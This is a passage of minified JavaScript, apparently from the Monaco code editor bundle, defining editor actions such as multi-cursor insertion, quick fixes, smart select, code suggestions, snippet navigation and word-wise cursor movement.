i=t._getCursors(),o=i.context;o.config.readOnly||(o.model.pushStackElement(),i.setStates(n.source,s.CursorChangeReason.Explicit,u.CursorState.ensureInEditableRange(o,a.CursorMoveCommands.addCursorUp(o,i.getAll()))),i.reveal(!0,1))},t=v([o.editorAction],t)}(o.EditorAction);t.InsertCursorAbove=l;var c=function(e){function t(){return e.call(this,{id:\"editor.action.insertCursorBelow\",label:n.localize(1,null),alias:\"Add Cursor Below\",precondition:null,kbOpts:{kbExpr:i.EditorContextKeys.textFocus,primary:2578,linux:{primary:1554,secondary:[3090]}}})||this}return f(t,e),t.prototype.run=function(e,t,n){var i=t._getCursors(),o=i.context;o.config.readOnly||(o.model.pushStackElement(),i.setStates(n.source,s.CursorChangeReason.Explicit,u.CursorState.ensureInEditableRange(o,a.CursorMoveCommands.addCursorDown(o,i.getAll()))),i.reveal(!0,2))},t=v([o.editorAction],t)}(o.EditorAction);t.InsertCursorBelow=c;!function(e){function t(){return e.call(this,{id:\"editor.action.insertCursorAtEndOfEachLineSelected\",label:n.localize(2,null),alias:\"Add Cursors to Line Ends\",precondition:null,kbOpts:{kbExpr:i.EditorContextKeys.textFocus,primary:1575}})||this}f(t,e),t.prototype.getCursorsForSelection=function(e,t){if(e.isEmpty())return[];for(var n=t.getModel(),i=[],o=e.startLineNumber;o<e.endLineNumber;o++){var s=n.getLineMaxColumn(o);i.push(new r.Selection(o,s,o,s))}return e.endColumn>1&&i.push(new r.Selection(e.endLineNumber,e.endColumn,e.endLineNumber,e.endColumn)),i},t.prototype.run=function(e,t){var n=this,i=t.getSelections().map(function(e){return n.getCursorsForSelection(e,t)}).reduce(function(e,t){return e.concat(t)});i.length>0&&t.setSelections(i)},t=v([o.editorAction],t)}(o.EditorAction)}),define(d[178],h([1,0,10,13,17,18,19]),function(e,t,n,i,o,r,s){\"use strict\";function a(e,t){var i,s=o.SignatureHelpProviderRegistry.ordered(e);return r.sequence(s.map(function(o){return function(){if(!i)return r.asWinJsPromise(function(n){return o.provideSignatureHelp(e,t,n)}).then(function(e){i=e},n.onUnexpectedExternalError)}})).then(function(){return i})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.Context={Visible:new s.RawContextKey(\"parameterHintsVisible\",!1),MultipleSignatures:new s.RawContextKey(\"parameterHintsMultipleSignatures\",!1)},t.provideSignatureHelp=a,i.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeSignatureHelpProvider\",a)}),define(d[467],h([1,0,24,2,17,18,7,10,56,13]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";function c(e,t){var n=[],i=o.CodeActionProviderRegistry.all(e).map(function(i){return r.asWinJsPromise(function(n){return i.provideCodeActions(e,t,n)}).then(function(e){if(Array.isArray(e))for(var t=0,i=e;t<i.length;t++){var o=i[t];o&&n.push(o)}},function(e){a.onUnexpectedExternalError(e)})});return s.TPromise.join(i).then(function(){return n})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getCodeActions=c,l.CommonEditorRegistry.registerLanguageCommand(\"_executeCodeActionProvider\",function(e,t){var o=t.resource,r=t.range;if(!(o instanceof n.default&&i.Range.isIRange(r)))throw a.illegalArgument();var s=e.get(u.IModelService).getModel(o);if(!s)throw a.illegalArgument();return c(s,s.validateRange(r))})}),define(d[468],h([1,0,11,3,2,17,467]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e,t,i,o){void 0===o&&(o=250);var r=this;this._editor=e,this._markerService=t,this._signalChange=i,this._disposables=[],this._disposables.push(n.debounceEvent(this._markerService.onMarkerChanged,function(e,t){return e?e.concat(t):t},o/2)(function(e){return r._onMarkerChanges(e)}),n.debounceEvent(this._editor.onDidChangeCursorPosition,function(e){return e},o)(function(e){return r._onCursorChange()}))}return e.prototype.dispose=function(){this._disposables=i.dispose(this._disposables)},e.prototype.trigger=function(e){var t=this._editor.getSelection(),n=this._getActiveMarkerOrWordRange();\"manual\"!==e||t.isEmpty()||(n=t),n||(n=t),this._signalChange({type:e,range:n,position:this._editor.getPosition(),fixes:n&&s.getCodeActions(this._editor.getModel(),this._editor.getModel().validateRange(n))})},e.prototype._onMarkerChanges=function(e){for(var t=this._editor.getModel().uri,n=0,i=e;n<i.length;n++)if(i[n].toString()===t.toString())return this._currentRange=void 0,void this._onCursorChange()},e.prototype._onCursorChange=function(){var e=this._getActiveMarkerOrWordRange();o.Range.equalsRange(this._currentRange,e)||(this._currentRange=e,this._signalChange({type:\"auto\",range:e,position:this._editor.getPosition(),fixes:e&&s.getCodeActions(this._editor.getModel(),this._editor.getModel().validateRange(e))}))},e.prototype._getActiveMarkerOrWordRange=function(){for(var e=this._editor.getSelection(),t=this._editor.getModel(),n=0,i=this._markerService.read({resource:t.uri});n<i.length;n++){var r=i[n],s=o.Range.lift(r);if(s.containsRange(e))return s}if(e.isEmpty()){var a=e.getStartPosition(),u=t.getWordAtPosition(a);if(u)return new o.Range(a.lineNumber,u.startColumn,a.lineNumber,u.endColumn)}},e}();t.QuickFixOracle=a;var u=function(){function e(e,t){var i=this;this._onDidChangeFixes=new n.Emitter,this._disposables=[],this._editor=e,this._markerService=t,this._disposables.push(this._editor.onDidChangeModel(function(){return i._update()})),this._disposables.push(this._editor.onDidChangeModelLanguage(function(){return i._update()})),this._disposables.push(r.CodeActionProviderRegistry.onDidChange(this._update,this)),this._update()}return e.prototype.dispose=function(){this._disposables=i.dispose(this._disposables),i.dispose(this._quickFixOracle)},Object.defineProperty(e.prototype,\"onDidChangeFixes\",{get:function(){return this._onDidChangeFixes.event},enumerable:!0,configurable:!0}),e.prototype._update=function(){var e=this;this._quickFixOracle&&(this._quickFixOracle.dispose(),this._quickFixOracle=void 0,this._onDidChangeFixes.fire(void 0)),this._editor.getModel()&&r.CodeActionProviderRegistry.has(this._editor.getModel())&&!this._editor.getConfiguration().readOnly&&(this._quickFixOracle=new a(this._editor,this._markerService,function(t){return e._onDidChangeFixes.fire(t)}),this._quickFixOracle.trigger(\"auto\"))},e.prototype.trigger=function(e){this._quickFixOracle&&this._quickFixOracle.trigger(e)},e}();t.QuickFixModel=u}),define(d[469],h([1,0,362,3,31,69,19,46,103,21,13,30,268,267,468]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var m=function(){function e(e,t,n,i,o,r){var s=this;this._keybindingService=r,this._disposables=[],this._editor=e,this._model=new g.QuickFixModel(this._editor,t),this._quickFixContextMenu=new h.QuickFixContextMenu(e,o,i),this._lightBulbWidget=new p.LightBulbWidget(e),this._updateLightBulbTitle(),this._disposables.push(this._quickFixContextMenu.onDidExecuteCodeAction(function(e){return s._model.trigger(\"auto\")}),this._lightBulbWidget.onClick(this._handleLightBulbSelect,this),this._model.onDidChangeFixes(function(e){return s._onQuickFixEvent(e)}),this._keybindingService.onDidUpdateKeybindings(this._updateLightBulbTitle,this))}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.dispose=function(){this._model.dispose(),i.dispose(this._disposables)},e.prototype._onQuickFixEvent=function(e){e&&\"manual\"===e.type?this._quickFixContextMenu.show(e.fixes,e.position):e&&e.fixes?this._quickFixContextMenu.isVisible?this._quickFixContextMenu.show(e.fixes,e.position):this._lightBulbWidget.model=e:this._lightBulbWidget.hide()},e.prototype.getId=function(){return t.ID},e.prototype._handleLightBulbSelect=function(e){this._quickFixContextMenu.show(this._lightBulbWidget.model.fixes,e)},e.prototype.triggerFromEditorSelection=function(){this._model.trigger(\"manual\")},e.prototype._updateLightBulbTitle=function(){var e,t=this._keybindingService.lookupKeybinding(_.Id);e=t?n.localize(0,null,t.getLabel()):n.localize(1,null),this._lightBulbWidget.title=e},e.ID=\"editor.contrib.quickFixController\",e=t=v([d.editorContribution,y(1,u.IMarkerService),y(2,s.IContextKeyService),y(3,o.ICommandService),y(4,r.IContextMenuService),y(5,a.IKeybindingService)],e);var t}();t.QuickFixController=m;var _=function(e){function t(){return e.call(this,{id:i.Id,label:n.localize(2,null),alias:\"Quick Fix\",precondition:s.ContextKeyExpr.and(l.EditorContextKeys.writable,l.EditorContextKeys.hasCodeActionsProvider),kbOpts:{kbExpr:l.EditorContextKeys.textFocus,primary:2132}})||this}return f(t,e),i=t,t.prototype.run=function(e,t){var n=m.get(t);n&&n.triggerFromEditorSelection()},t.Id=\"editor.action.quickFix\",t=i=v([c.editorAction],t);var i}(c.EditorAction);t.QuickFixAction=_}),define(d[470],h([1,0,10,24,7,2,13,17,56,18]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";function c(e){var t=[],i=a.DocumentSymbolProviderRegistry.all(e).map(function(i){return l.asWinJsPromise(function(t){return i.provideDocumentSymbols(e,t)}).then(function(e){Array.isArray(e)&&t.push.apply(t,e)},function(e){n.onUnexpectedExternalError(e)})});return o.TPromise.join(i).then(function(){var e=[];return h(e,t,\"\"),e.sort(d),{entries:e}})}function d(e,t){return r.Range.compareRangesUsingStarts(r.Range.lift(e.location.range),r.Range.lift(t.location.range))}function h(e,t,n){for(var i=0,o=t;i<o.length;i++){var r=o[i];e.push({kind:r.kind,location:r.location,name:r.name,containerName:r.containerName||n})}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getDocumentSymbols=c,s.CommonEditorRegistry.registerLanguageCommand(\"_executeDocumentSymbolProvider\",function(e,t){var o=t.resource;if(!(o instanceof i.default))throw n.illegalArgument(\"resource\");var r=e.get(u.IModelService).getModel(o);if(!r)throw n.illegalArgument(\"resource\");return c(r)})}),define(d[471],h([1,0,370,33,7,16,2,21,13,398]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var c=function(){return function(e){this.editor=e,this.next=null,this.previous=null,this.selection=e.getSelection()}}(),d=null,h=!1,p=function(){function e(e,t){this.editor=e,this._tokenSelectionSupport=t.createInstance(l.TokenSelectionSupport)}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.dispose=function(){},e.prototype.getId=function(){return t.ID},e.prototype.run=function(e){var t=this,n=this.editor.getSelection(),r=this.editor.getModel();d&&d.editor!==this.editor&&(d=null);var a=o.TPromise.as(null);return d||(a=this._tokenSelectionSupport.getRangesToPosition(r.uri,n.getStartPosition()).then(function(e){if(!i.isFalsyOrEmpty(e)){var n;e.filter(function(e){var n=t.editor.getSelection(),i=new s.Range(e.range.startLineNumber,e.range.startColumn,e.range.endLineNumber,e.range.endColumn);return i.containsPosition(n.getStartPosition())&&i.containsPosition(n.getEndPosition())}).forEach(function(e){var i=e.range,o=new c(t.editor);o.selection=new s.Range(i.startLineNumber,i.startColumn,i.endLineNumber,i.endColumn),n&&(o.next=n,n.previous=o),n=o});var o=new c(t.editor);o.next=n,n&&(n.previous=o),d=o;var r=t.editor.onDidChangeCursorPosition(function(e){h||(d=null,r.dispose())})}})),a.then(function(){if(d&&(d=e?d.next:d.previous)){h=!0;try{t.editor.setSelection(d.selection)}finally{h=!1}}})},e.ID=\"editor.contrib.smartSelectController\",e=t=v([u.commonEditorContribution,y(1,r.IInstantiationService)],e);var t}(),g=function(e){function t(t,n){var i=e.call(this,n)||this;return i._forward=t,i}return f(t,e),t.prototype.run=function(e,t){var n=p.get(t);if(n)return n.run(this._forward)},t}(u.EditorAction);(function(e){function t(){return e.call(this,!0,{id:\"editor.action.smartSelect.grow\",label:n.localize(0,null),alias:\"Expand Select\",precondition:null,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:1553,mac:{primary:3345}}})||this}f(t,e),t=v([u.editorAction],t)})(g),function(e){function t(){return e.call(this,!1,{id:\"editor.action.smartSelect.shrink\",label:n.localize(1,null),alias:\"Shrink Select\",precondition:null,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:1551,mac:{primary:3343}}})||this}f(t,e),t=v([u.editorAction],t)}(g)}),define(d[109],h([1,0,18,33,9,26,10,7,13,17,19]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(e,t,o,r){void 0===o&&(o=\"bottom\");var u=[],c=f(o);t=t.clone();var d=l.SuggestRegistry.orderedGroups(e);\"none\"!==o&&y&&d.unshift([y]);var g=!1,m=d.map(function(o){return function(){if(!g)return a.TPromise.join(o.map(function(o){if(i.isFalsyOrEmpty(r)||!(r.indexOf(o)<0))return n.asWinJsPromise(function(n){return o.provideCompletionItems(e,t,n)}).then(function(n){var r=u.length;if(n&&!i.isFalsyOrEmpty(n.suggestions))for(var s=0,a=n.suggestions;s<a.length;s++){var l=a[s];c(l)&&(h(l,n),u.push({position:t,container:n,suggestion:l,support:o,resolve:p(o,l,e,t)}))}r!==u.length&&o!==y&&(g=!0)},s.onUnexpectedExternalError)}))}});return n.sequence(m).then(function(){return u.sort(_(o))})}function h(e,t){\"number\"!=typeof e.overwriteBefore&&(e.overwriteBefore=0),(\"number\"!=typeof e.overwriteAfter||e.overwriteAfter<0)&&(e.overwriteAfter=0)}function p(e,t,i,o){return function(){return\"function\"==typeof e.resolveCompletionItem?n.asWinJsPromise(function(n){return e.resolveCompletionItem(i,o,t,n)}).then(function(e){r.assign(t,e)}):a.TPromise.as(void 0)}}function f(e){return\"none\"===e?function(e){return\"snippet\"!==e.type}:function(){return!0}}function g(e,t){var n=0;return\"string\"==typeof e.suggestion.sortText&&\"string\"==typeof t.suggestion.sortText&&(n=o.compareIgnoreCase(e.suggestion.sortText,t.suggestion.sortText)),0===n&&(n=o.compareIgnoreCase(e.suggestion.label,t.suggestion.label)),0===n&&e.suggestion.type!==t.suggestion.type&&(\"snippet\"===e.suggestion.type?n=1:\"snippet\"===t.suggestion.type&&(n=-1)),n}function m(e,t){if(e.suggestion.type!==t.suggestion.type){if(\"snippet\"===e.suggestion.type)return-1;if(\"snippet\"===t.suggestion.type)return 1}return g(e,t)}function v(e,t){if(e.suggestion.type!==t.suggestion.type){if(\"snippet\"===e.suggestion.type)return 1;if(\"snippet\"===t.suggestion.type)return-1}return g(e,t)}function _(e){return\"top\"===e?m:\"bottom\"===e?v:g}Object.defineProperty(t,\"__esModule\",{value:!0}),t.Context={Visible:new c.RawContextKey(\"suggestWidgetVisible\",!1),MultipleSuggestions:new c.RawContextKey(\"suggestWidgetMultipleSuggestions\",!1),MakesTextEdit:new c.RawContextKey(\"suggestionMakesTextEdit\",!0),AcceptOnKey:new c.RawContextKey(\"suggestionSupportsAcceptOnKey\",!0),AcceptSuggestionsOnEnter:new c.RawContextKey(\"acceptSuggestionOnEnter\",!0)};var y;t.setSnippetSuggestSupport=function(e){var t=y;return y=e,t},t.provideSuggestionItems=d,t.getSuggestionComparator=_,u.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeCompletionItemProvider\",function(e,t,n){var i={incomplete:!1,suggestions:[]};return d(e,t).then(function(e){for(var t=0,n=e;t<n.length;t++){var o=n[t],r=o.container,s=o.suggestion;i.incomplete=i.incomplete||r.incomplete,i.suggestions.push(s)}return i})});var C,b=new(function(){function e(){}return e.prototype.provideCompletionItems=function(){return C&&{suggestions:C}},e}());l.SuggestRegistry.register(\"*\",b),t.showSimpleSuggestions=function(e,t){setTimeout(function(){C=t,e.getContribution(\"editor.contrib.suggestController\").triggerSuggest([b]),C=void 0},0)}}),define(d[180],h([1,0,19,13,3,334,21,109,22]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(){function e(e,n){this._editor=e,this._snippetListener=[],this._inSnippet=t.InSnippetMode.bindTo(n),this._hasNextTabstop=t.HasNextTabstop.bindTo(n),this._hasPrevTabstop=t.HasPrevTabstop.bindTo(n)}return t=e,e.get=function(e){return e.getContribution(\"snippetController2\")},e.prototype.dispose=function(){this._inSnippet.reset(),this._hasPrevTabstop.reset(),this._hasNextTabstop.reset(),o.dispose(this._session)},e.prototype.getId=function(){return\"snippetController2\"},e.prototype.insert=function(e,t,n,i,s){var a=this;void 0===t&&(t=0),void 0===n&&(n=0),void 0===i&&(i=!0),void 0===s&&(s=!0),this._snippetListener=o.dispose(this._snippetListener),i&&this._editor.getModel().pushStackElement(),this._session?this._session.merge(e,t,n):(this._modelVersionId=this._editor.getModel().getAlternativeVersionId(),this._session=new r.SnippetSession(this._editor,e,t,n),this._session.insert()),s&&this._editor.getModel().pushStackElement(),this._updateState(),this._snippetListener=[this._editor.onDidChangeModel(function(){return a.cancel()}),this._editor.onDidChangeCursorSelection(function(){return a._updateState()})]},e.prototype._updateState=function(){if(this._session){if(this._modelVersionId===this._editor.getModel().getAlternativeVersionId())return this.cancel();if(!this._session.hasPlaceholder)return this.cancel();if(this._session.isAtLastPlaceholder||!this._session.isSelectionWithinPlaceholders())return this.cancel();this._inSnippet.set(!0),this._hasPrevTabstop.set(!this._session.isAtFirstPlaceholder),this._hasNextTabstop.set(!this._session.isAtLastPlaceholder),this._handleChoice()}},e.prototype._handleChoice=function(){var e=this._session.choice;if(e){if(this._currentChoice!==e){this._currentChoice=e,this._editor.setSelections(this._editor.getSelections().map(function(e){return u.Selection.fromPositions(e.getStartPosition())}));var t=e.options[0];a.showSimpleSuggestions(this._editor,e.options.map(function(e,n){return{type:\"value\",label:e.value,insertText:e.value,sortText:String(n),overwriteAfter:t.value.length}}))}}else this._currentChoice=void 0},e.prototype.finish=function(){for(;this._inSnippet.get();)this.next()},e.prototype.cancel=function(){this._inSnippet.reset(),this._hasPrevTabstop.reset(),this._hasNextTabstop.reset(),o.dispose(this._snippetListener),o.dispose(this._session),this._session=void 0,this._modelVersionId=-1},e.prototype.prev=function(){this._session.prev(),this._updateState()},e.prototype.next=function(){this._session.next(),this._updateState()},e.InSnippetMode=new n.RawContextKey(\"inSnippetMode\",!1),e.HasNextTabstop=new n.RawContextKey(\"hasNextTabstop\",!1),e.HasPrevTabstop=new n.RawContextKey(\"hasPrevTabstop\",!1),e=t=v([i.commonEditorContribution,y(1,n.IContextKeyService)],e);var t}();t.SnippetController2=l;var c=i.EditorCommand.bindToContribution(l.get);i.CommonEditorRegistry.registerEditorCommand(new c({id:\"jumpToNextSnippetPlaceholder\",precondition:n.ContextKeyExpr.and(l.InSnippetMode,l.HasNextTabstop),handler:function(e){return e.next()},kbOpts:{weight:i.CommonEditorRegistry.commandWeight(30),kbExpr:s.EditorContextKeys.textFocus,primary:2}})),i.CommonEditorRegistry.registerEditorCommand(new c({id:\"jumpToPrevSnippetPlaceholder\",precondition:n.ContextKeyExpr.and(l.InSnippetMode,l.HasPrevTabstop),handler:function(e){return e.prev()},kbOpts:{weight:i.CommonEditorRegistry.commandWeight(30),kbExpr:s.EditorContextKeys.textFocus,primary:1026}})),i.CommonEditorRegistry.registerEditorCommand(new c({id:\"leaveSnippet\",precondition:l.InSnippetMode,handler:function(e){return e.cancel()},kbOpts:{weight:i.CommonEditorRegistry.commandWeight(30),kbExpr:s.EditorContextKeys.textFocus,primary:9,secondary:[1033]}})),i.CommonEditorRegistry.registerEditorCommand(new c({id:\"acceptSnippet\",precondition:l.InSnippetMode,handler:function(e){return e.finish()}}))}),define(d[474],h([1,0,10,33,18,11,3,7,17,12,109,272,54]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(){function e(e,t,n){this.leadingLineContent=e.getLineContent(t.lineNumber).substr(0,t.column-1),this.leadingWord=e.getWordUntilPosition(t),this.lineNumber=t.lineNumber,this.column=t.column,this.auto=n}return e.shouldAutoTrigger=function(e){var t=e.getModel();if(!t)return!1;var n=e.getPosition(),i=t.getWordAtPosition(n);return!!i&&(i.endColumn===n.column&&!!isNaN(Number(i.word)))},e.isInEditableRange=function(e){var t=e.getModel(),n=e.getPosition();return!(t.hasEditableRange()&&!t.getEditableRange().containsPosition(n))},e}();t.LineContext=p;!function(e){e[e.Idle=0]=\"Idle\",e[e.Manual=1]=\"Manual\",e[e.Auto=2]=\"Auto\"}(t.State||(t.State={}));var f=function(){function e(e){var t=this;this.editor=e,this.toDispose=[],this.triggerRefilter=new o.TimeoutTimer,this._onDidCancel=new r.Emitter,this._onDidTrigger=new r.Emitter,this._onDidSuggest=new r.Emitter,this._state=0,this.triggerAutoSuggestPromise=null,this.requestPromise=null,this.completionModel=null,this.context=null,this.currentPosition=e.getPosition()||new l.Position(1,1),this.toDispose.push(this.editor.onDidChangeModel(function(){t.updateTriggerCharacters(),t.cancel()})),this.toDispose.push(e.onDidChangeModelLanguage(function(){t.updateTriggerCharacters(),t.cancel()})),this.toDispose.push(this.editor.onDidChangeConfiguration(function(){t.updateTriggerCharacters(),t.updateQuickSuggest()})),this.toDispose.push(u.SuggestRegistry.onDidChange(function(){t.updateTriggerCharacters(),t.updateActiveSuggestSession()})),this.toDispose.push(this.editor.onDidChangeCursorSelection(function(e){t.onCursorChange(e)})),this.updateTriggerCharacters(),this.updateQuickSuggest()}return Object.defineProperty(e.prototype,\"onDidCancel\",{get:function(){return this._onDidCancel.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onDidTrigger\",{get:function(){return this._onDidTrigger.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onDidSuggest\",{get:function(){return this._onDidSuggest.event},enumerable:!0,configurable:!0}),e.prototype.dispose=function(){s.dispose([this._onDidCancel,this._onDidSuggest,this._onDidTrigger,this.triggerCharacterListener,this.triggerRefilter]),this.toDispose=s.dispose(this.toDispose),this.cancel()},e.prototype.updateQuickSuggest=function(){this.quickSuggestDelay=this.editor.getConfiguration().contribInfo.quickSuggestionsDelay,(isNaN(this.quickSuggestDelay)||!this.quickSuggestDelay&&0!==this.quickSuggestDelay||this.quickSuggestDelay<0)&&(this.quickSuggestDelay=10)},e.prototype.updateTriggerCharacters=function(){var e=this;if(s.dispose(this.triggerCharacterListener),!this.editor.getConfiguration().readOnly&&this.editor.getModel()&&this.editor.getConfiguration().contribInfo.suggestOnTriggerCharacters){for(var t=Object.create(null),n=0,o=u.SuggestRegistry.all(this.editor.getModel());n<o.length;n++){var r=o[n];if(!i.isFalsyOrEmpty(r.triggerCharacters))for(var a=0,l=r.triggerCharacters;a<l.length;a++){var c=l[a],d=t[c];d?d.push(r):t[c]=[r]}}this.triggerCharacterListener=this.editor.onDidType(function(n){var i=n.charAt(n.length-1),o=t[i];if(o){var r=[];if(e.completionModel)for(var s=0,a=e.completionModel.items;s<a.length;s++){var u=a[s];o.indexOf(u.support)<0&&r.push(u)}e.trigger(!0,Boolean(e.completionModel),o,r)}})}},Object.defineProperty(e.prototype,\"state\",{get:function(){return this._state},enumerable:!0,configurable:!0}),e.prototype.cancel=function(e){void 0===e&&(e=!1),this.triggerAutoSuggestPromise&&(this.triggerAutoSuggestPromise.cancel(),this.triggerAutoSuggestPromise=null),this.requestPromise&&(this.requestPromise.cancel(),this.requestPromise=null),this._state=0,this.completionModel=null,this.context=null,this._onDidCancel.fire({retrigger:e})},e.prototype.updateActiveSuggestSession=function(){0!==this._state&&(u.SuggestRegistry.has(this.editor.getModel())?this.trigger(2===this._state,!0):this.cancel())},e.prototype.onCursorChange=function(e){var t=this,n=this.currentPosition;if(this.currentPosition=this.editor.getPosition(),e.selection.isEmpty()&&\"keyboard\"===e.source&&e.reason===h.CursorChangeReason.NotSet){if(u.SuggestRegistry.has(this.editor.getModel())){var i=this.editor.getModel();i&&(0===this._state?!1!==this.editor.getConfiguration().contribInfo.quickSuggestions&&n.isBefore(this.currentPosition)&&(this.cancel(),p.shouldAutoTrigger(this.editor)&&(this.triggerAutoSuggestPromise=a.TPromise.timeout(this.quickSuggestDelay),this.triggerAutoSuggestPromise.then(function(){var e=t.editor.getModel(),n=t.editor.getPosition();if(e){var i=t.editor.getConfiguration().contribInfo.quickSuggestions;if(!1!==i){if(!0===i);else{e.forceTokenization(n.lineNumber);var o=e.getLineTokens(n.lineNumber).findTokenAtOffset(n.column-1).tokenType;if(!(i.other&&0===o||i.comments&&1===o||i.strings&&2===o))return}t.triggerAutoSuggestPromise=null,t.trigger(!0)}}}))):this.triggerRefilter.cancelAndSet(function(){var e=t.editor.getPosition(),n=new p(i,e,2===t._state);t.onNewContext(n)},25))}}else{if(0===this._state)return;this.cancel()}},e.prototype.trigger=function(e,t,o,r){var s=this;void 0===t&&(t=!1);var a=this.editor.getModel();if(a){var u=new p(a,this.editor.getPosition(),e);p.isInEditableRange(this.editor)&&(this.cancel(t),this._state=e?2:1,this._onDidTrigger.fire({auto:e}),this.context=u,this.requestPromise=c.provideSuggestionItems(a,this.editor.getPosition(),this.editor.getConfiguration().contribInfo.snippetSuggestions,o).then(function(t){if(s.requestPromise=null,0!==s._state){var n=s.editor.getModel();if(n){if(!i.isFalsyOrEmpty(r)){var o=c.getSuggestionComparator(s.editor.getConfiguration().contribInfo.snippetSuggestions);t=t.concat(r).sort(o)}var a=new p(n,s.editor.getPosition(),e);s.completionModel=new d.CompletionModel(t,s.context.column,{leadingLineContent:a.leadingLineContent,characterCountDelta:s.context?a.column-s.context.column:0},s.editor.getConfiguration().contribInfo.snippetSuggestions),s.onNewContext(a)}}}).then(null,n.onUnexpectedError))}},e.prototype.onNewContext=function(e){if(this.context)if(e.lineNumber===this.context.lineNumber){if(e.column<this.context.column)e.leadingWord.word?this.trigger(this.context.auto,!0):this.cancel();else if(this.completionModel)if(e.column>this.context.column&&this.completionModel.incomplete&&0!==e.leadingWord.word.length){var t=this.completionModel.resolveIncompleteInfo(),n=t.complete,i=t.incomplete;this.trigger(2===this._state,!0,i,n)}else{var o=this.completionModel.lineContext,r=!1;if(this.completionModel.lineContext={leadingLineContent:e.leadingLineContent,characterCountDelta:e.column-this.context.column},0===this.completionModel.items.length){if(p.shouldAutoTrigger(this.editor)&&this.context.leadingWord.endColumn<e.leadingWord.startColumn)return void this.trigger(this.context.auto,!0);if(this.context.auto)return void this.cancel();if(this.completionModel.lineContext=o,(r=this.completionModel.items.length>0)&&0===e.leadingWord.word.length)return void this.cancel()}this._onDidSuggest.fire({completionModel:this.completionModel,auto:this.context.auto,isFrozen:r})}}else this.cancel()},e}();t.SuggestModel=f}),define(d[181],h([1,0,373,13,168]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(){return e.call(this,{id:r.ID,label:n.localize(0,null),alias:\"Toggle Tab Key Moves Focus\",precondition:null,kbOpts:{kbExpr:null,primary:2091,mac:{primary:1323}}})||this}return f(t,e),r=t,t.prototype.run=function(e,t){var n=o.TabFocus.getTabFocusMode();o.TabFocus.setTabFocusMode(!n)},t.ID=\"editor.action.toggleTabFocusMode\",t=r=v([i.editorAction],t);var r}(i.EditorAction);t.ToggleTabFocusModeAction=r}),define(d[476],h([1,0,21,22,13,12,2,172,73,94,39,54]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n._wordNavigationType=t.wordNavigationType,n}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){var i=this,o=t.getConfiguration(),s=l.getMapForWordSeparators(o.wordSeparators),a=t.getModel(),u=t.getSelections().map(function(e){var t=new r.Position(e.positionLineNumber,e.positionColumn),n=i._move(s,a,t,i._wordNavigationType);return i._moveTo(e,n,i._inSelectionMode)});if(t._getCursors().setStates(\"moveWordCommand\",d.CursorChangeReason.NotSet,u.map(function(e){return c.CursorState.fromModelSelection(e)})),1===u.length){var h=new r.Position(u[0].positionLineNumber,u[0].positionColumn);t.revealPosition(h,!1,!0)}},t.prototype._moveTo=function(e,t,n){return n?new i.Selection(e.selectionStartLineNumber,e.selectionStartColumn,t.lineNumber,t.column):new i.Selection(t.lineNumber,t.column,t.lineNumber,t.column)},t}(o.EditorCommand);t.MoveWordCommand=h;var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._move=function(e,t,n,i){return a.WordOperations.moveWordLeft(e,t,n,i)},t}(h);t.WordLeftCommand=p;var g=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._move=function(e,t,n,i){return a.WordOperations.moveWordRight(e,t,n,i)},t}(h);t.WordRightCommand=g;var m=function(e){function t(){return e.call(this,{inSelectionMode:!1,wordNavigationType:0,id:\"cursorWordStartLeft\",precondition:null,kbOpts:{kbExpr:n.EditorContextKeys.textFocus,primary:2063,mac:{primary:527}}})||this}return f(t,e),t=v([o.editorCommand],t)}(p);t.CursorWordStartLeft=m;var _=function(e){function t(){return e.call(this,{inSelectionMode:!1,wordNavigationType:1,id:\"cursorWordEndLeft\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(p);t.CursorWordEndLeft=_;var y=function(e){function t(){return e.call(this,{inSelectionMode:!1,wordNavigationType:0,id:\"cursorWordLeft\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(p);t.CursorWordLeft=y;var C=function(e){function t(){return e.call(this,{inSelectionMode:!0,wordNavigationType:0,id:\"cursorWordStartLeftSelect\",precondition:null,kbOpts:{kbExpr:n.EditorContextKeys.textFocus,primary:3087,mac:{primary:1551}}})||this}return f(t,e),t=v([o.editorCommand],t)}(p);t.CursorWordStartLeftSelect=C;var b=function(e){function t(){return e.call(this,{inSelectionMode:!0,wordNavigationType:1,id:\"cursorWordEndLeftSelect\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(p);t.CursorWordEndLeftSelect=b;var w=function(e){function t(){return e.call(this,{inSelectionMode:!0,wordNavigationType:0,id:\"cursorWordLeftSelect\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(p);t.CursorWordLeftSelect=w;var S=function(e){function t(){return e.call(this,{inSelectionMode:!1,wordNavigationType:0,id:\"cursorWordStartRight\",precondition:null})||this}return 